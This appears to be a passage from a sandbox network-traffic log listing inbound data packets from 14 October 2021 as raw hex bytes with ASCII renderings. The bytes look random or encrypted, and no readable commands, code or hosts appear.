d6 dc ed 0d 60 78 df e1 49 ca 03 62 f9 41 09 04 eb 33 a1 c2 af 17 ad 6a 77 f4 a1 26 5d de 64 58 99 f1 cd 78 e6 44 88 d1 
b5 b4 38 94 0f 1c 56 e6 e9 3f 6f fe 59 82 97 b4 
Data Ascii: ;09i%9Fwlu9ak*ULvW()ARhKRT5u{=W$av/;pby)8&8^|GGZ>R1J$69ko<DWJ?4]Thxaz6]Gp`xIbA3jw&]dXxD8
V?oY

2021-10-14 01:28:01 UTC 19 IN Data Raw: 0f 83 86 3c 94 e1 63 fb ef e9 8c c7 36 3c 4a d4 5c 63 93 af 0c 0b 74 8a a7 8e 8f 4a 5f b0 bb e9 7f 5e 40 3a 16 
dd 5b ca 1a ac 24 9c 9c bc f0 ba bf 23 cd 47 fd c6 a8 4a 6b b7 f7 ea e4 c4 94 d3 b5 74 34 2d 90 cb 71 74 67 ae b7 94 9e 
11 6c 5d f4 f3 23 75 7d 7b 4a 0b 13 19 e3 28 1a cd d7 ba 63 08 b3 a6 4c 33 e4 92 8b a6 00 da a6 48 53 db c7 10 35 57 94 
ed cf 58 dd 03 4d d3 88 11 01 96 1d 9d 4f 92 17 3a 1e 51 a1 d1 57 cc 93 2a 84 06 fb b3 e3 bb 67 50 2c 32 f9 6f 43 d1 58 
06 1a 06 34 e9 26 2b ce 53 8b 35 76 e1 14 59 4a 7a 76 49 e8 ab d5 a1 e8 3c 36 55 93 dd cb df 6d f1 7c 83 40 b5 4a 3f 51 
53 d3 07 ff 26 0a f2 18 5d bb 12 1b 54 9c 99 3d cb c5 59 27 d9 93 df 15 ab f4 c5 c3 60 55 ac 20 66 5b 99 62 3e 58 e4 2b 
1c 95 bb 1d 66 77 94 4d 0c 2b fb 2a 7d 70 f9 a4 85 df 
Data Ascii: <c6<J\ctJ_^@:[$#GJkt4-qtgl]#u}{J(cL3HS5WXMO:QW*gP,2oCX4&+S5vYJzvI<6Um|@J?QS&]T=Y'`U f[b>
X+fwM+*}p

2021-10-14 01:28:01 UTC 20 IN Data Raw: c6 f8 d6 6d 90 86 64 1f bd 73 45 ff 4a 60 b1 6b 0d 09 cf 99 f3 35 cb 69 dc 43 71 97 15 82 24 66 07 09 e0 ad 1c 
c6 3e 7a 3d 7c 5d a0 ce c3 77 6e 82 57 2a 1d 6b fe e9 f4 dc 10 09 d1 85 4a db 83 66 83 06 60 16 c5 fa 0b 15 85 9c 28 46 
dc 4c 6d af cc 7a 19 9e 9a 9c bf 36 56 f2 1f 15 08 6f 86 c7 e9 b9 e2 2a 7d 9c 75 34 34 82 b5 b5 7d 76 d4 7b 71 72 e6 36 
cb d7 a2 b8 da 00 96 a8 8b 58 79 e9 3e b5 58 e4 f6 f3 0c bd 5a c8 1f 48 98 0f 75 f2 45 16 5a 89 32 8d c0 9f 9f 80 15 88 0a 
4d 60 66 9e 72 63 78 f1 cd e2 44 55 c8 e1 cb a3 29 82 18 30 2b 67 e9 39 47 a7 4a 86 8d 25 7e 31 43 54 39 33 1c ba fa d5 
74 fc 89 33 8e c7 cd b8 50 75 6d 30 1a 30 1b 3f 2c 02 80 45 29 f5 a3 fc 35 9e 55 74 e7 81 bf 86 1c 98 98 b3 6f 2e 27 58 6f 
cb 78 1c 08 4d 69 15 13 4e 0e c5 3d a0 07 3e 7a 
Data Ascii: mdsEJ`k5iCq$f>z=|]wnW*kJf`(FLmz6Vo*}u44}v{qr6Xy>XZHuEZ2M`frcxDU)0+g9GJ%~1CT93t3Pum00?,E)
5Uto.'XoxMiN=>z

2021-10-14 01:28:01 UTC 22 IN Data Raw: 4a 90 cb 7a 7e 7b a2 b7 9d 88 1d 92 52 d8 f8 24 6d 0a 62 4a 04 17 bb fc 3f 16 cd de a5 69 f6 b2 94 4f 2f 69 89 
8b a6 01 fd b0 43 5f d4 cf 0e cb 4c b8 f9 b0 50 dd 03 49 96 99 11 01 9c 72 9d 4e db 14 17 c0 41 a8 dd 57 de 8c 23 7b 07 
d7 a4 9d eb 6e 50 28 42 e1 6f 43 b3 79 22 1a 09 3e 69 2e 31 ce 57 95 3f 7a e1 1c 34 bd 7b 5a 55 c0 af d5 22 e7 53 37 5b 
93 d7 a4 c7 6c f1 77 89 59 b9 4a a5 41 ad d2 25 ec 20 22 b6 13 5d bd 35 fe 56 9c 85 52 b6 c4 59 2d d3 89 7c 1c a3 e8 35 
c2 4c 46 17 01 a0 59 96 64 16 b2 fc 2b 1a fb c6 1d 66 7d 52 59 00 2b fd 35 6c 8e 22 81 8b d8 62 46 db 67 ee 76 78 a7 61 
aa 5a 27 74 8d cb 40 5c b2 4e c5 75 d5 97 f1 64 47 d1 7f e7 7c 02 43 db ce fe f6 af 33 01 9d eb 1d 5a 75 de d6 20 98 26 
41 8a f0 5d d8 98 ae 29 04 e6 fd 95 a3 86 3e 87 6d b7 
Data Ascii: Jz~{R$mbJ?iO/iC_LPIrNAW#{nP(BoCy">i.1W?z4{ZU"S7[lwYJA% "]5VRY-|5LFYd+f}RY+5l"bFgvxaZ't@\
NudG|C3Zu &A])>m

2021-10-14 01:28:01 UTC 23 IN Data Raw: 2a 0a d4 04 03 22 76 9f 6b 8f cb 66 7b a1 fc 59 0c 4a 86 bb bd 29 41 0c 17 21 fd 6c c5 04 ff c7 cd 3c 4e 7b e0 
88 23 5f a0 40 65 57 d2 71 7e a2 56 00 c4 fc bf bf 29 01 b3 b5 77 4f 56 84 da b8 58 e7 c0 13 06 91 5f f5 e3 62 23 0a 75 2f 
4e 16 4c 46 a5 b7 e8 b4 9a ab 5a 74 f5 1b 66 4c 9e 5c 70 48 e2 db 6d 40 6d 5a c6 cb a3 38 85 0f 2e ed e5 c5 31 7f 29 5b 
82 91 c0 6c 19 57 42 52 58 e2 bb dc d8 0d 76 ac 33 84 fa 2c 0f 47 af 7d 2f 04 23 0e 3b 20 f8 99 97 2d ce 9a 9c 04 9a 55 
61 cb 9b 40 87 3a f2 fc bf 75 37 29 41 6d cb 63 f3 0d 7a 90 1d 37 cf 03 b6 25 a5 07 25 00 4f 83 fc be d3 2f 66 e9 02 52 c9 
b0 00 41 34 52 58 b0 c2 7b 2b 68 84 97 01 2a 1e 2c 3f 5d 1c be da 97 b5 35 ca a1 8c 38 47 a5 a0 4e 5f 00 78 95 08 07 13 
4a 19 5b 62 b5 78 29 48 90 da ce d4 78 7c 23 dc 
Data Ascii: *"vkf{YJ)A!l<N{#_@eWq~V)wOVX_b#u/NLFZtfL\pHm@mZ8.1)[lWBRXv3,G}/#; -Ua@:u7)Amcz7%%O/fRA4R
X{+h*,?]58GN_xJ[bx)Hx|#

2021-10-14 01:28:01 UTC 24 IN Data Raw: 9f 5d a1 d1 55 c9 e0 19 9c 78 f3 b3 e3 e7 46 58 2f 3c ff 47 67 b7 51 0c 9a 01 34 e9 22 ec ad 50 8a 35 74 fe 60 
1f 5a 04 7e 47 e8 af fd 2b e2 3c 30 72 b7 dd cb cf ed f9 7d 83 44 68 0f ae 58 53 d1 16 8a 15 13 2c 19 5d bb 19 33 5e 9f 83 
3b e3 e0 59 27 d3 13 78 1c ab f0 16 e4 63 55 11 2b 79 2d a5 7b 40 50 fe 2b 18 bc b0 1e 66 71 70 60 0c 2b ff aa 75 70 23 
a9 58 d6 49 c6 db 65 fb 81 43 be 1f a6 45 35 7c a5 cf 59 a2 b5 4a f2 73 fd 7b 73 6c 41 f9 9c 38 97 06 2c a6 cc e1 84 96 31 
73 95 e3 0b a0 5c ff d7 37 92 0e 6d 95 e2 a9 59 bc ac 02 05 03 43 69 5c 79 16 98 14 84 a1 23 d1 58 f0 12 96 f0 ba fb 61 
d4 74 67 ef f1 f5 ed bc a3 b3 c3 13 59 47 b7 fa 66 85 3a 49 f5 4b 76 6b 71 a5 1c 36 ba 98 19 1a 71 f7 d9 40 b6 98 69 15 47
3c b1 b1 1b a3 55 8c 28 24 9c 8c 52 6d b8 38 
Data Ascii: ]UxFX/<GgQ4"P5t`Z~G+<0r}DhXS,]3^;Y'xcU+y-{@P+fqp`+up#XIeCE5|YJs{slA8,1s\7mYCi\y#XatgYGf:
IKvkq6q@iG<U($Rm8

2021-10-14 01:28:01 UTC 25 IN Data Raw: c5 05 bd 5b c1 dc 5a af 0d 73 e2 5d ef 45 5b 35 b7 d1 bf 83 ab 71 77 e4 a9 79 7a 60 73 5c 41 cb 57 7f 44 55 d7 
f1 d8 b8 38 85 10 29 ed e5 c5 34 45 b6 50 aa 86 da 7f 17 44 5a 48 52 07 ba e1 cc 04 1e 77 32 a8 f0 a0 a9 5b 5d 67 22 1e 
3a 19 29 2e eb 92 72 2c f3 92 fd 18 64 54 49 ef 9b 11 81 5f 85 8f bf 7f 22 1c 4b 65 cf 72 f9 16 6e 90 1d 37 de 14 d2 30 72 
14 24 61 7a 90 e7 ba ca ae 6f d3 d2 53 e5 b4 14 ae 3e 56 7a ad d1 75 38 75 9f 98 ec 30 32 38 33 6d ff ac f2 9e b5 3a c7 
89 9e 1f 5f ae a8 4a 4e 0a 63 b1 08 07 13 42 1f 43 77 b3 bf 3e 5e 71 e8 f1 cd 53 68 00 aa b8 e4 78 5e 4e aa f4 88 95 f1 43 
f8 14 78 3e ec 2c 56 52 d9 1d 11 70 dd cb c6 b1 89 d1 0e 85 0e 73 42 00 bf c3 28 26 4f 7f b4 5b 9a cc c3 2d ac a3 50 9b 
7a e5 22 32 63 e7 6c 2d 69 79 3e b4 b4 a6 84 96 
Data Ascii: [Zs]E[5qwyz`s\AWDU8)4EPDZHRw2[]g":).r,dTI_"Kern70r$azoS>Vzu8u0283m:_JNcBCw>^qShx^NCx>,VR
psB(&O[-Pz"2cl-iy>

2021-10-14 01:28:01 UTC 27 IN Data Raw: 27 22 4d 10 5d b1 0e 17 45 93 9c 2d 1d d7 56 25 c8 9c 58 0b aa f4 c1 d0 69 44 1e 33 b0 48 99 60 2f 57 d6 3d 
1d 94 b1 0e 60 66 57 5e da 38 fa 02 64 71 23 a7 87 ce 45 d7 dd 08 fe f7 70 ad 72 a6 54 3a 69 8b 15 49 ad b1 73 d9 5b eb 
70 f3 6e 4b e8 97 ff aa 17 23 a4 df f1 d4 b3 29 0d 97 e8 1a ab 6e 24 c7 38 96 37 46 bd f4 a2 d9 be bf 13 10 d1 94 bd 4f 76 
05 96 7a 6d af 8b 54 73 f0 16 bf ed a9 f9 76 f3 41 77 f9 ea 64 cd a0 a2 b7 14 ad 54 56 a6 2e 6a f0 0b 41 84 6b 60 6a 75 87 
00 3b ab 91 2b 2f 7f 21 05 d3 b1 9a 78 1e b2 bb b2 b1 11 ad 5b f8 01 eb f1 8b 50 7c b3 38 cf b4 3b 8d 15 d4 36 73 f9 45 
98 75 a5 69 a5 9c bf f9 23 97 fe 62 27 0e 10 19 79 b7 14 80 4e e1 25 c4 73 85 cf 46 eb a1 b1 7e 99 fb e4 f2 08 8c ff 95 06 
56 91 03 0f 18 0a e9 aa 31 06 26 ae 87 f9 57 ef 
Data Ascii: '"M]E-V%XiD3H`/W=`fW^8dq#EprT:iIs[pnK#)n$87FOvzmTsvAwdTV.jAk`ju;+/!x[P|8;6sEui#b'yN%sF~V1&W

2021-10-14 01:28:01 UTC 28 IN Data Raw: 19 84 fe b1 88 53 75 48 23 1e 30 3c 3b 31 ed 97 65 07 c4 89 ea 31 64 54 49 e1 80 4d 87 38 85 70 be 59 39 3b 
52 67 c3 63 ea 1f 9f 6f 30 19 c3 09 d9 26 bd f9 2e 52 68 a8 fe 91 03 b7 72 4f 9b 40 c9 92 4f bf 35 78 47 b7 e1 76 2b 0c 81 
8b ff 1c 32 29 39 74 29 99 df 97 ae 26 50 1e 8d 14 45 ae b9 5b 55 07 02 b6 f7 06 35 d4 1f 42 09 83 68 2d 5f 7d df ca cf 52 
79 11 b7 e4 87 79 72 54 a8 f4 88 df f0 43 f4 3c dd af 8e d3 49 6c d9 00 00 67 d2 ff bb b2 a5 de 09 03 13 a5 51 0a b6 c4 27 
0e f6 64 ab 78 7c 41 d0 26 bd a9 69 b9 ad f6 23 3a c5 cb 77 2d 79 4a 90 af 4a ad 80 c6 f8 0f 89 91 47 11 ca 63 f5 ee fa 8b 
6d 38 28 62 c1 5f 63 95 ad 81 0c 75 8a a6 9d 84 91 5c a6 aa e0 dd 4f 4b f5 08 51 64 c6 1a ad 86 97 97 af fd ab b3 37 d9 
bb 78 e9 a8 44 6a a4 fa 09 e1 d2 83 40 a4 79 
Data Ascii: SuH#0<;1e1dTIM8pY9;Rgco0&.RhrO@O5xGv+2)9t)&PE[U5Bh-_}RyyrTC<IlgQ'dx|A&i#:w-yJJGcm8(b_cu\
OKQd7xDj@y

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:01 UTC 29 IN Data Raw: 87 eb 03 a0 b3 64 fe 5d ff 71 f5 0b 3c f9 98 ef 6f 1b 3d b8 e6 eb fd a5 22 25 c4 e1 0b a2 5c dc d6 37 92 49 34 
95 e2 a9 ca 94 bd 1d 10 fe e1 76 5d 79 1e ab 61 b0 a9 5b c8 4f 9f 28 bf fe b3 25 7d fb 5a ba e2 fa 75 e5 bb a9 6a 18 bd 5b 
47 a6 ed 55 f8 18 45 e4 14 76 6b 7f 51 2b d5 ba 9e 31 36 51 f4 b5 c0 be d8 b8 11 9a ad ba 91 12 21 4a f7 5b fb e2 84 52 
1e 96 11 d9 bf 28 a5 06 48 12 69 2f 57 84 54 ab 7e 00 a1 be f9 28 97 d7 62 2d 0b 19 05 8c 77 19 a7 50 f1 2a e6 74 81 d9 
5d dc b2 bf 69 ab 31 f6 fd 13 98 ca 5e 35 ef 37 29 0f 12 1a d8 bf 10 78 05 be 83 e5 57 c8 db a9 d5 d7 3d ca 97 4a 1c d2 5d
45 ec 70 72 93 8e 22 08 cf 9b e2 31 cc 6e d3 f5 ba f8 25 83 24 6b 0f d2 fe c1 99 c5 10 78 3c 69 56 ad e0 dc 58 68 5d 40 
19 5f 5b e9 e8 f3 ce 9d 21 fc 83 43 de 97 29 bc 
Data Ascii: d]q<o="%\7I4v]ya[O(%}Zuj[GUEvkQ+16Q!J[R(Hi/WT~(b-wP*t]i1^57)xW=J]Epr"1n%$kx<iVXh]@_[!C)

2021-10-14 01:28:01 UTC 31 IN Data Raw: b0 35 6f 62 b2 2f 7e 07 74 91 87 e7 bb 0b 9d 28 77 01 b2 d7 84 ab 31 cc 50 94 ea 45 91 b9 48 77 52 7d 83 fc 
0d 25 5a 01 48 77 ba 76 36 ab 6f f7 c9 d4 7b 4d 1a b5 81 13 51 d3 5e bb fb b1 c0 f3 6b ba 2c d9 ca 11 fb 0d 67 ca 0c 00 
69 ee 7e 38 b0 af ab 6b 8f 14 a3 5b 14 be c3 3c 26 4f 6b b4 79 9a cc c3 2b a2 b8 cc a5 ac f6 28 3e 40 eb 7b 3e 77 62 30 
a0 55 b3 56 9d d4 02 92 8a 87 0c d8 7d 08 10 16 93 69 2d 33 4a ca 53 7c 8a 4b 0d 27 59 9b aa 9a a7 03 55 b0 bd f0 f2 59 
40 e2 1f ce 55 d7 14 ba 35 8c 86 26 d9 ab bf 23 c7 01 e4 c8 bc 50 7c a1 df b5 ec c4 9e c3 af 67 3b 37 81 c4 6f 7e 99 af 9b 
98 85 17 7d 54 dc ed 22 7a 7e 64 41 17 1c 19 f2 3d 00 33 d7 96 6f 17 a3 35 6e 33 e4 9d 98 a1 1b e5 a0 48 42 db db ee 34 
61 98 fc c2 4e 4d 3a 5c 17 7e ee 1c 8b 12 9d 5e d4 01 
Data Ascii: 5ob/~t(w1PEHwR}%ZHwv6o{MQ^k,gi~8k[<&Oky+(>@{>wb0UV}i-3JS|K'YUY@U5&#P|g;7o~}T"z~dA=3o5n3H
B4aNM:\~^

2021-10-14 01:28:01 UTC 32 IN Data Raw: 99 ee d7 77 f2 b7 a3 b0 05 42 5a 6b b5 d3 7b d4 a3 70 8f 43 76 eb 5f 9e 23 31 ba 39 31 3e 71 b5 d3 c0 af 8e 
64 29 e7 ad b3 b1 1b a8 51 09 1a 11 ef 86 57 27 2d 0f d3 f5 4f 87 18 c5 25 64 2f 5f 89 89 b5 4a 88 9d 94 e6 20 89 f3 7a 3f 
ea 00 38 ad 79 0a 8f 45 e8 d4 ed 49 80 d9 47 e1 a9 a0 78 99 d3 f6 d1 1d a2 b1 54 1c 80 15 31 f1 19 27 f3 ab 30 13 3e 65 
8f bb 5c e7 cc cf e4 28 3c ec 83 6f 29 94 6e 49 ec 73 7e 4f e0 21 01 ca 94 b9 22 0c 2b c9 76 0d 9e 03 7c 25 4d 1e e0 ec 
81 1d f1 19 86 3c 56 75 97 c0 fb 0e 86 83 a9 11 14 58 ff eb f6 8e 7f 17 f0 ad 4b db ba 3d bf 47 77 c7 8d 01 40 31 b6 f7 b8 
74 23 5a 4d ac ef 60 19 b4 ba 97 bf 31 0f 0c 1e 28 15 61 c2 25 e9 b1 ff c2 4f 53 6c 27 38 85 a4 53 82 5b fe 75 19 6b 57 2c 
c4 a4 eb a4 24 0b b1 ba 85 4e 72 90 33 b4 74 ec 
Data Ascii: wBZk{pCv_#191>qd)QW'-O%d/_J z?8yEIGxT1'0>e\(<o)nIs~O!"+v|%M<VuXK=Gw@1t#ZM`1(a%OSl'8S[ukW
,$Nr3t

2021-10-14 01:28:01 UTC 33 IN Data Raw: d4 c0 1a cc 59 98 cb 2a 13 4a c3 ef 26 4f 5a 27 17 a4 14 b6 61 0e a2 6d 33 26 5e 23 ab 72 75 ce f8 7f f8 ac 41 
8e ac f4 29 2d 49 bf 77 2d 78 76 21 af 4a a5 a8 9c f8 24 ca 82 b9 cb e0 63 ff 80 b1 8d 7c 34 36 4c 55 eb 68 b8 f7 24 97 75 
8a ad 8a e0 1d 57 b0 b1 f4 7b 49 51 e6 90 6a 8d cd 1d bb fe 91 4a 31 da ba bf 22 c7 a5 e3 d7 ac ca dc 03 6b 09 e8 d2 92 
cb a4 70 ba 80 b8 d7 71 74 6d 85 bc bd b9 13 6c 55 87 aa 22 7a 7e 01 56 03 c5 0e 39 25 cc 40 fd ba 63 09 be b1 53 28 
78 95 9c a4 b4 6a a6 51 50 60 5b 16 23 44 8e ea e6 44 dc 03 47 e1 88 9f b6 80 c7 98 23 f8 1e 3a 1e 5e a1 d1 27 96 c8 02 
13 06 fb b9 57 7f 67 59 a2 8b ee b5 46 97 51 07 1a 09 69 5d ba 38 e4 53 8a 35 65 d1 11 2c ca 7a 76 47 a0 ab d5 33 c9 a0 
36 5a 99 df a4 58 6d f1 77 8e 49 3b fd 8d a7 53 d3 09 
Data Ascii: Y*J&OZ'am3&^#ruA)-Iw-xv!J$c|46LUh$uW{IQjJ1"kpqtmlU"z~V9%@cS(xjQP`[#DDG#:^'WgYFQi]8S5e,zv
G36ZXmwI;S

2021-10-14 01:28:01 UTC 34 IN Data Raw: 08 64 e3 92 69 a3 30 9d 84 b5 5d 63 22 58 74 e7 4d e1 09 67 68 34 34 d7 05 df 06 83 07 2f 74 05 1e fc ba d1 
be 72 e9 65 52 c9 b0 62 8c 35 7e 6c bf d9 6e 23 51 b0 88 ff 2d 34 01 0c 77 01 a7 b1 60 a4 31 d7 4e 85 3c a4 bf b3 4c 30 
41 7c 83 fc 17 37 5e 61 04 66 b5 63 3c 5d 46 91 e2 d6 59 16 50 b5 8b 10 68 7a 31 42 f1 a0 cc e2 45 d6 1c da c0 15 df 47 
63 a5 59 10 61 cc b8 58 b1 a5 d2 0c 9a 3f ec 40 1f cd 16 33 26 54 4c 0a 72 64 c7 fc 2a ac ae 46 98 ab 78 9e 42 e7 f4 77 
27 70 73 2d a1 4f b6 a4 f3 99 0e 83 8c b9 fe e0 63 ff fc e3 a4 e0 3e 3c 40 ca 56 0c 0e b5 0c 01 66 81 b6 88 9e 8b 41 a1 
b0 69 c8 31 ee e2 1e d7 4a d2 75 67 24 86 96 91 5f 64 a9 32 d9 d6 ce c6 a8 45 47 bb e6 0c 99 ff 94 dc b4 1b 63 37 90 c1 
ac 65 61 a9 a1 92 19 a6 03 fd f4 f3 29 52 46 78 4a 02 00 
Data Ascii: di0]c"XtMgh44/treRb5~ln#Q-4w`1N<L0A|7^afc<]FYPhz1BEGcYaX?@3&TLrd*FxBw'ps-Oc><@VfAi1Jug$_
d2EGc7ea)RFxJ

2021-10-14 01:28:02 UTC 35 IN Data Raw: 79 2f 25 e6 e3 0b ae 5e f2 d4 37 95 3a 49 95 e0 a3 9f b4 b6 62 01 d0 8e 6b 5c 79 16 87 63 b7 da 2d d9 52 f0 
16 be fe a2 cb 63 fc 2a 67 ef fb 38 e5 bc b2 a3 15 cf 3f 46 b7 f2 75 8c 6c 51 8b 49 7b 69 0e c5 13 35 be 8d 37 4d 5b f6 d3 
ca ad 9d 78 14 8b ab dc 9a 1a a1 40 e6 1e 25 8d a9 53 6d b6 01 dc ad 54 a9 19 c5 33 6a 07 3f 96 77 be 75 89 9b bb 96 
06 85 f3 79 3b 13 10 13 be 65 11 9e 48 7e 9d 83 55 85 cf 46 f3 7a ba 60 86 42 90 fc 19 83 e1 20 79 81 1c 22 d3 c6 01 f3 
82 35 1e 46 e8 83 ef 4c 36 c4 c1 97 cd 3c c0 8c 42 05 bd 72 58 ec 7a 61 b1 df 0d 13 97 91 fd 35 da 7f d7 79 0d 99 15 d8 
4c 61 16 f7 e1 81 14 f5 20 7c 3d fd 77 bc c5 8e 70 79 6d 42 0d 6c 17 f4 e9 f9 c8 9d 6d fc 83 43 c0 b8 30 92 09 0f 0a d8 04 
00 56 15 9e 47 81 b3 6a 66 ac f6 43 1d c7 ad 96 bf 3b 
Data Ascii: y/%^7:Ibk\yc-Rc*g8?FulQI{i57M[x@%SmT3j?wuy;eH~UFz`B y"5FL6<BrXza5yLa |=wpymBlmC0VGjfC;

2021-10-14 01:28:02 UTC 36 IN Data Raw: da 40 80 ea 45 91 b8 5b 59 28 81 83 f6 06 20 47 1d 4f 66 a4 6e 36 ab 6f f7 fa de 73 7d 1a b5 8b 32 6d 73 5e b1 
d9 d2 c7 f1 49 c7 64 26 3f ec cf 5a 61 ca 17 16 7c 38 d6 14 b9 ac e1 d4 8e 14 a5 4f 18 a5 d0 22 21 47 9a aa 5e 61 c9 e3 
3c ae af 41 9f ab e9 22 d3 48 d8 6e 25 58 67 20 af 4a 8f bc 9d f8 05 ab f4 90 9c eb 5a 68 ef e9 8c 63 32 2f 4d db 4d 64 8f 
4b 0d 27 7c f4 eb 8e 8f 84 5a ad a8 e0 7f 4f 47 f8 e0 dc 77 d3 12 8c 24 87 9c bc d9 ae be 23 c7 8b 87 c7 a8 4e 46 6a ec 
0b eb c4 85 db aa 7d ca 36 bc cd 5b 14 78 a4 a4 92 97 00 6b 4c fa 0d 22 56 4c 6a 4c 01 14 95 f3 32 1a cf b9 cc 62 08 b9 
90 32 32 e4 96 ae 8b 05 d0 be 4c 78 de be 00 35 4d 96 9c de 58 dd 01 5e ed 93 14 7a ce 1d 9d 4b 5f 71 9c 1e 5e a7 ce 
58 c5 94 2a 94 01 ed 4d e2 cf 6d 47 3f 3b f9 7e 44 a8 
Data Ascii: @E[Y( GOfn6os}2ms^Id&?Za|8O"!G^a<A"Hn%Xg JZhc2/MMdK'|ZOGw$#NFj}6[xkL"VLjL2b22Lx5MX^zK_q^
X*MmG?;~D

2021-10-14 01:28:02 UTC 38 IN Data Raw: e2 2d 34 ba 94 37 16 31 f4 d3 c6 c0 f8 69 11 9e 85 f2 b2 1b a7 62 35 1b 3d e8 eb 6c 6c bc 1a df 9d 79 84 18 c3 
47 09 2f 56 93 5f f7 65 8d 8c 96 3b 29 84 f9 1c 16 15 01 1e a9 49 98 8d 4c f6 54 8c 65 84 cb 64 58 a6 a0 77 ab ef f7 fd 13 
e6 d6 4e 11 8a 1a 00 ae 1a 0b fc d0 53 17 29 bb ab 4d 44 ea ca ee 3a d6 3d ca e9 56 04 bd 79 42 c4 3e 60 b1 e7 73 69 cf 
91 f7 1d 76 7d d7 7d 25 55 15 82 2e 0e 22 f6 e1 8b 12 c6 b5 7a 3d 7c 09 dc c5 c3 74 51 da 54 06 19 5b 37 e9 f3 ce 81 36 
fc 83 43 cb de b9 9b 0d 6a 7e 5b 05 0a 33 9b 99 6c e8 ce 4b 4f 2f fd 50 11 b8 81 9f d0 10 4d 0c 14 34 0a 45 c6 0a e9 b3 
c5 3e 65 36 67 17 87 85 ac 4d 6f 5e c3 7c e9 eb 41 1d fa c6 a1 b6 2d 17 a9 ab a2 67 6b 8f dc bd c2 fd da fc 01 ba 75 fa e1 
49 be 1e 67 e8 40 39 75 77 33 ab ee bd 8b bd 62 
Data Ascii: -471ib5=llyG/V_e;)ILTedXwNS)MD:=VyB>`siv}}%U."z=|tQT[76Cj~[3lKO/PM4E>e6gMo^|A-gkuIg@9uw3b

2021-10-14 01:28:02 UTC 39 IN Data Raw: d6 1b 02 5e 64 a1 5a fe cd ef 2c d2 20 40 8e a6 99 a0 2c 49 fe 64 29 53 4d 30 ab 25 61 a8 9c f2 7b 2c 86 91 
9d ed 65 f7 e7 86 06 7d 3e 36 5d b4 d7 62 93 bf 63 87 74 8a ad a6 90 83 57 b6 93 c0 7f 5e 4a 8d ce dd 5b cc 0b a8 4b 4d 
9c bc fb 97 77 fd e0 b2 f1 b3 93 44 6b b6 db 14 fd c0 e1 e7 b5 74 35 58 c7 cb 70 7e bb 70 a2 b0 bf 26 6c 53 fe fe 35 f7 61 
7b 4a 05 18 31 db 32 1a c7 08 bd 65 67 64 b8 45 39 ce 9b a1 a6 00 f7 b3 48 53 d6 c7 16 35 2f fc ed d8 58 dd 03 4d e8 81 
17 01 e2 9d 9d 5a c1 1e 3a 1f 4d 91 d2 57 82 92 2a 85 51 fb b3 f2 f5 7d 55 14 7c f8 6f 43 b7 40 03 0d f7 35 c5 25 29 dd 56 
8a 24 73 fa ea 2d 6f 71 74 6f c7 ab d5 28 cd 30 2a 49 96 dd da c0 72 fe 83 82 6c be 5c 20 4d 53 d3 08 d5 39 1a 41 14 5d 
aa 18 07 aa 9d af 36 c9 ec d4 26 d9 99 63 18 b6 e7 
Data Ascii: ^dZ, @,Id)SM0%a{,e}>6]bctW^J[KMwDkt5Xp~p&lS5a{J12egdE9HS5/XMZ:MW*Q}U|oC@5%)V$s-oqto(0*Irl\ 
MS9A]6&c

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 40 IN Data Raw: e7 7b f8 a4 aa 62 85 39 fc d5 21 89 e8 45 cf 82 08 02 08 32 0b fa ae 32 3f 29 bf 83 ef 1c ea d6 b2 f8 d8 27 c0 
86 69 07 bd 47 44 b5 f7 63 a7 e1 0d 09 cf 91 f3 e5 da 73 0b 7b 1c 8d 15 82 25 7a 2c f0 e1 6f 14 ee 10 22 3d 7a 66 a3 c9 
4e 5b 79 7c 57 15 17 62 fd ff e5 58 ff 00 ea 95 d5 dc b9 20 8c 91 71 19 c0 12 96 28 80 84 51 17 cd 44 7c ba 60 41 13 a8 
91 0b ae 39 51 1a 82 28 0b 73 ff 96 f8 b1 f7 35 58 e3 7f 37 2b 8f ba d7 6d 52 cd 73 71 c0 46 24 cb d5 bc a2 32 1e b6 8b 95
4f 7a 8c cf 3b ef f1 cc 37 10 6b d0 f5 e1 49 b5 01 60 e6 4a 19 52 75 bd 16 dd bb 40 90 76 76 f5 b8 15 db 9f 72 76 5b f5 d2 
6e c9 7e c8 c6 ca b0 3d 9c 85 83 02 e1 67 8e 9d b0 81 95 47 56 54 1d 57 52 5b 49 14 34 47 c8 0b d2 98 36 92 e1 b2 90 
4c 74 70 29 16 26 03 2d 39 72 36 78 29 6c 3e 38 0e 
Data Ascii: {b9!E22?)'iGDcs{%z,o"=zfN[y|WbX q(QD|`A9Q(s5X7+mRsqF$2Oz;7kI`JRu@vvrv[n~=gGVTWR[I4G6Ltp)&-
9r6x)l>8

2021-10-14 01:28:02 UTC 41 IN Data Raw: e8 13 f5 63 c6 1a a6 fa 86 9a 96 f0 a6 bf 23 cd a3 f3 c6 b4 66 6b b9 ed 18 ec c5 94 dc 85 74 28 7b 90 c5 6a 74 
67 af ac a5 9f 11 21 56 f4 f3 7c 7a 74 6a 39 bb 13 19 e9 38 1c e5 12 ba 63 0e dc 72 45 33 ee b4 1d a7 00 fc c0 df 52 d4 cd 
03 30 5c 91 f9 e6 36 de 03 4b fe 0c 16 01 98 1c 89 5b cf 36 92 1e 5e ab f9 46 d6 93 20 88 17 fe a7 cb 8c 6d 50 2a 2a 74 
68 43 b7 50 12 0e 1d 1c 41 26 31 c4 7b 9b 35 76 eb 07 28 4a 66 fa 78 e8 ab d4 34 c9 a4 37 5a 99 f1 d5 d4 69 e9 f1 bc 40 
b5 4b bb 70 cb d2 09 f5 0a 04 82 58 5d bb 1f 33 40 9c 83 37 d8 c3 72 2b 09 d9 70 1c a9 dc df c3 60 5f 02 2e 70 48 9e 1c 
4b 59 fe 21 0f 9d ad 0f 6e 65 51 6c 6f 2b f5 2c f1 4f 23 ad 84 cc 4c d7 dd 4f be f6 70 ad 77 80 42 33 73 50 53 5e a2 b3 73 
df 7f 8e e8 f2 64 4b ea 92 f4 76 16 05 8e be fd 
Data Ascii: c#fkt({jtg!V|ztj98crE3R0\6K[6^F mP**thCPA&1{5v(Jfx47Zi@KpX]3@7r+p`_.pHKY!neQlo+,O#LOpwB3
sPS^sdKv

2021-10-14 01:28:02 UTC 43 IN Data Raw: 90 31 81 34 7a 3d 7c 66 9d d4 d4 1f 5f 7e 56 00 0e 52 dd 6f f0 c4 e8 67 d7 81 49 cb b7 29 bb 62 78 10 d9 0e 
d4 36 ad b6 70 8b dc 46 74 8b d4 68 1b b4 8d 49 bf 20 5f 1b c8 2a 10 7c fa 1b c2 87 9d c1 b1 80 7f 34 23 53 bf 40 6d 51 
